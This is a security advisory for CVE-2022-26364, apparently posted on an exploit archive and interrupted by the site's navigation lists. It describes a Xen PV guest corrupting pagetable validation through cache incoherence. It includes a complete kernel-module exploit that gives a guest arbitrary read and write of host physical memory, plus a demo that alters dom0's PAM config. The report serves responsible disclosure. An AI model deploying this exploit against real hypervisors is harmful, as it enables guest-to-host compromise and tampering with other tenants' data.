# Xen PV Guest Non-SELFSNOOP CPU Memory Corruption

Authored by Jann Horn, Google Security Research

Posted Jul 6, 2022

On CPUs without SELFSNOOP support, a Xen PV domain that has access to a PCI device (which grants the domain the ability to set arbitrary cache attributes on all its pages) can trick Xen into validating an L2 pagetable that contains a cacheline that is marked as clean in the cache but actually differs from main memory. After the pagetable has been validated, an attacker can flush the "clean" cacheline, such that on the next load, unvalidated data from main memory shows up in the pagetable.

tags | exploit, arbitrary
advisories | CVE-2022-26364
SHA-256 | 0ca3bec4eaa9cefc4bd68628da583653303fb2bb08f1b14700118565ff032f9c **Download** | **Favorite** | **View**

Related Files

## Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
Xen: PV guest on non-SELFSNOOP CPUs can validate non-coherent L2 pagetable

[I'm not sure whether there are any major users of (unshimmed) Xen PV left, but
https://xenbits.xen.org/docs/unstable/support-matrix.html says it's still a security-supported usecase for 64-
bit guests.]

[Tested on Debian's Xen version 4.14.4-pre (Debian 4.14.3+32-g9de3671772-1~deb11u1)]

On CPUs without SELFSNOOP support (which I think essentially means \"AMD CPUs\" nowadays?), a Xen PV domain
that has access to a PCI device (which grants the domain the ability to set arbitrary cache attributes on all
its pages) can trick Xen into validating an L2 pagetable that contains a cacheline that is marked as clean in
the cache but actually differs from main memory. After the pagetable has been validated, an attacker can flush
the \"clean\" cacheline, such that on the next load, unvalidated data from main memory shows up in the
pagetable.

The L2 pagetable validation path (promote_l2_table()) can be attacked with this because for zeroed PTEs, it
only reads and doesn't write. The L1 pagetable validation path (promote_l1_table()) seems to always write to
memory in the C code, but the compiler could conceivably elide that write, making the attack possible against
that path, too - I haven't checked what compilers actually do there. Thinking further, it might also be a good
idea to check the Memory Sharing code, although that isn't security-supported anyway.

(The same attack might also be possible without a PCI device if an HVM/PVH domain is collaborating with the PV
domain - from what I can tell, HVM/PVH can always control their cache attributes, and pages with incoherent
cache state could then be freed to Xen's page allocator and reallocated by the PV domain, unless
opt_scrub_domheap is set?)

I made a little reproducer that can be loaded as a kernel module inside a PV guest with PCI passthrough. It
gives you a new device /dev/physical_memory using which you can just read and write all physical memory. For
example, you can scan around for interesting strings:


root@pv-guest:~/incoherent_page_table# strings -20 -td /dev/physical_memory
[...]
146006071 auth      requisite pam_nologin.so
146006107 # Load environment from /etc/environment and ~/.pam_environment
146006171 session      required pam_env.so readenv=1
146006214 session      required pam_env.so readenv=1 envfile=/etc/default/locale
146006286 @include common-auth
146006308 -auth  optional pam_gnome_keyring.so
146006346 @include common-account


Looking at that closer, we can dump the whole page and see that it looks like a pagecache page of a PAM config
file from dom0:


root@pv-guest:~/incoherent_page_table# dd if=/dev/physical_memory bs=1 count=4096 skip=146006016
#%PAM-1.0

# Block login if they are globally disabled
auth      requisite pam_nologin.so
[...]


Then we can clobber it by just dd'ing into it:


root@pv-guest:~/incoherent_page_table# echo -n '##CLOBBER##' | dd of=/dev/physical_memory bs=1 seek=146006046
11+0 records in
11+0 records out
11 bytes copied, 0.00109982 s, 10.0 kB/s
root@pv-guest:~/incoherent_page_table#


And checking from a dom0 shell, the file contents of this config file in dom0 have indeed changed:


root@jannh-amdbox:/home/user# head -n5 /etc/pam.d/lightdm
```



## File Archive: November 2022 <

| Su | Mo | Tu | We | Th | Fr | Sa |
|---|---|---|---|---|---|---|
| | | 1 | 2 | 3 | 4 | 5 |
| 6 | 7 | 8 | 9 | 10 | 11 | 12 |
| 13 | 14 | 15 | 16 | 17 | 18 | 19 |
| 20 | 21 | 22 | 23 | 24 | 25 | 26 |
| 27 | 28 | 29 | 30 | | | |

## Top Authors In Last 30 Days

**Red Hat** 186 files
**Ubuntu** 52 files
**Gentoo** 44 files
**Debian** 27 files
**Apple** 25 files
**Google Security Research** 14 files
**malvuln** 10 files
**nu11secur1ty** 6 files
**mjurczyk** 4 files
**George Tsimpidas** 3 files

## File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

## File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

## Systems

AIX (426)
Apple (1,926)

```
#%PAM-1.0

# Block login if th##CLOBBER##ally disabled
auth       requisite pam_nologin.so

root@jannh-amdbox:/home/user#


This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2022-06-06.




====== Reproducer code ======
root@pv-guest:~/incoherent_page_table# cat incoherent_page_table.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/vmalloc.h>
#include <linux/set_memory.h>
#include <linux/mm.h>
#include <linux/miscdevice.h>
#include <asm/cacheflush.h>
#include <asm/tlbflush.h>
#include <asm/io.h>
#include <asm/xen/hypercall.h>
#include <asm/xen/page.h>

/* first entry in the last L3 pagetable */
#define MAPPING_TARGET_ADDR 0xffffff8000000000UL

static unsigned long *controlled_l1_pte;

static void __tlb_flush_everything_local(void *info)
{
  __flush_tlb_all();
}

static void tlb_flush_everything(void)
{
  on_each_cpu(__tlb_flush_everything_local, NULL, 1);
}

static ssize_t physmem_rw(char __user *buf, size_t len, loff_t *offp, int is_write)
{
  ssize_t ret = len;
  while (len != 0) {
    unsigned long offset_in_page = (*offp) & 0xfff;
    size_t chunk_len = min_t(size_t, len, 0x1000 - offset_in_page);
    void *mapped_addr = (void*)(MAPPING_TARGET_ADDR + offset_in_page);

    pr_warn(\"physmem_rw() iteration: len=%lu, off=%lu, chunk_len=%lu\
\", (unsigned long)len, (unsigned long)*offp, (unsigned long)chunk_len);

    if (signal_pending(current))
      return -ERESTARTSYS;

    WRITE_ONCE(*controlled_l1_pte, ((unsigned long)(*offp) & ~0xfffUL) | _PAGE_PRESENT | _PAGE_RW |
_PAGE_USER);
    tlb_flush_everything();

    if (is_write) {
      *(volatile char *)mapped_addr = 0; // for debugging
      if (copy_from_user(mapped_addr, buf, chunk_len))
        ret = -EFAULT;
    } else {
      *(volatile char *)mapped_addr; // for debugging
      if (copy_to_user(buf, mapped_addr, chunk_len))
        ret = -EFAULT;
    }

    WRITE_ONCE(*controlled_l1_pte, 0);
    tlb_flush_everything();

    buf += chunk_len;
    len -= chunk_len;
    (*offp) += chunk_len;
  }
  return ret;
}

static ssize_t physmem_read(struct file *file, char __user *buf, size_t len, loff_t *offp)
{
  return physmem_rw(buf, len, offp, 0);
}

static ssize_t physmem_write(struct file *file, const char __user *buf, size_t len, loff_t *offp)
{
  return physmem_rw((char __user *)buf, len, offp, 1);
}

static loff_t my_llseek(struct file *file, loff_t offset, int whence) {
  switch (whence) {
    case SEEK_CUR:
      offset += file->f_pos;
      fallthrough;
    case SEEK_SET:
      file->f_pos = offset;
      return file->f_pos;
    default:
      return -EINVAL;
  }
}

static const struct file_operations physmem_fops = {
  .owner = THIS_MODULE,
  .read = physmem_read,
  .write = physmem_write,
  .llseek = my_llseek
};

static struct miscdevice physmem_miscdev = {
  .minor = MISC_DYNAMIC_MINOR,
```

```
  .name = \"physical_memory\",
  .fops = &physmem_fops
};

static struct page *incoherent_page;

static int init_test(void) {
  struct page *bogo_l1_page_table;
  void *wc_mapping;
  pte_t *linear_mapping_ptep;
  int level;
  pgd_t *pgd = pgd_offset(current->mm, MAPPING_TARGET_ADDR);
  p4d_t *p4d = p4d_offset(pgd, MAPPING_TARGET_ADDR);
  pud_t *pud = pud_offset(p4d, MAPPING_TARGET_ADDR);
  int update_res;
  struct mmu_update mmu_update_req;

  pr_warn(\"starting incoherent_page_table test\
\");
  pr_warn(\"old pud: 0x%lx\
\", *(unsigned long *)pud);
  if (*(unsigned long *)pud != 0) {
    pr_warn(\"refusing to clobber existing pte\
\");
    return -EBUSY;
  }

  /* allocate a zeroed page, and create a WC mapping of it in vmalloc space */
  incoherent_page = alloc_page(GFP_KERNEL | __GFP_ZERO | __GFP_NOFAIL);
  wc_mapping = vmap(&incoherent_page, 1, 0, pgprot_writecombine(PAGE_KERNEL));
  if (!wc_mapping) {
    pr_warn(\"vmap() failed\
\");
    return -EFAULT;
  }

  /* allocate a zeroed L1 pagetable (but don't tell Xen we're going to use it
   * that way)
   */
  bogo_l1_page_table = alloc_page(GFP_KERNEL | __GFP_ZERO | __GFP_NOFAIL);
  controlled_l1_pte = page_address(bogo_l1_page_table);

  /* reset Xen's internal mapping of the page to normal */
  set_pages_uc(incoherent_page, 1);
  set_pages_wb(incoherent_page, 1);

  /* make sure the page's first line is cached but not dirty */
  clflush_cache_range(page_address(incoherent_page), PAGE_SIZE);
  *(volatile char *)page_address(incoherent_page);
  mb();

  /* THIS IS WHERE THE MAGIC HAPPENS:
   * sneak past the cache and put a PTE in the page
   */
  *(pmd_t*)wc_mapping = __pmd((virt_to_machine(controlled_l1_pte).maddr | _PAGE_TABLE));
  mb();

  /* get rid of all our writable mappings */
  vunmap(wc_mapping);
  linear_mapping_ptep = lookup_address((unsigned long)page_address(incoherent_page), &level);
  if (level != PG_LEVEL_4K) {
    pr_warn(\"level != PG_LEVEL_4K\
\");
    return -EFAULT;
  }
  set_pte(linear_mapping_ptep, pte_wrprotect(*linear_mapping_ptep));

  /* Let Xen validate the incoherently clean cache contents.
   * We rely on Xen only *reading* the entries for validating them, not writing
   * them back.
   * Don't use set_pud() here because we want to see the return value.
   */
  mmu_update_req.ptr = virt_to_machine(pud).maddr | MMU_NORMAL_PT_UPDATE;
  mmu_update_req.val = virt_to_machine(page_address(incoherent_page)).maddr | _PAGE_TABLE;
  update_res = HYPERVISOR_mmu_update(&mmu_update_req, 1, NULL, DOMID_SELF);

  pr_warn(\"load 1: 0x%lx\
\", *(unsigned long *)page_address(incoherent_page));
  clflush_cache_range(page_address(incoherent_page), PAGE_SIZE);
  pr_warn(\"load 2: 0x%lx\
\", *(unsigned long *)page_address(incoherent_page));

  pr_warn(\"mmu_update returned %d\
\", update_res);
  if (update_res < 0)
    return -EUCLEAN;

  if (misc_register(&physmem_miscdev)) {
    pr_warn(\"misc_register failed\
\");
    return -EFAULT;
  }

  pr_warn(\"enjoy your physical memory read/write!\
\");
  pr_warn(\"controlled_l1_pte = 0x%lx\
\", (unsigned long)controlled_l1_pte);
  return 0;
}

static void exit_test(void) {
  misc_deregister(&physmem_miscdev);
  WRITE_ONCE(*controlled_l1_pte, virt_to_machine(page_address(incoherent_page)).maddr | _PAGE_PRESENT |
_PAGE_RW | _PAGE_USER);
  tlb_flush_everything();
  *(unsigned long *)(MAPPING_TARGET_ADDR) = 0;
  tlb_flush_everything();
}

module_init(init_test);
module_exit(exit_test);
MODULE_LICENSE(\"GPL v2\");
root@pv-guest:~/incoherent_page_table# cat Makefile
KDIR ?= /lib/modules/`uname -r`/build

default:
  $(MAKE) -C $(KDIR) M=$$PWD
```

```
root@pv-guest:~/incoherent_page_table#
```

Related CVE Numbers: CVE-2022-26364.

Found by: jannh@google.com






## Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

## About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

## Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed